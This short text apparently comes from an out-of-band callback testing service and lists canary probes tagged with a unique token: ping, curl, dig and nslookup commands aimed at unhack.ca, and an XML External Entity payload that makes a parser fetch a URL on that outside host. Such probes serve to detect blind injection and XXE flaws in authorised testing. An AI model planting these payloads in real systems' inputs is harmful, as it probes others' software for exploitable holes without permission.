$ ping -c1 -p 00eab9d30e8703be93069fcc091ae600 unhack.ca
 

$ curl http://unhack.ca/p/eab9d30e8703be93069fcc091ae6
 

$ dig eab9d30e8703be93069fcc091ae6 @unhack.ca
 

$ dig eab9d30e8703be93069fcc091ae6.ns.unhack.ca
 

C:\> nslookup eab9d30e8703be93069fcc091ae6 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/eab9d30e8703be93069fcc091ae6">]>
    <foo>&xxe;</foo>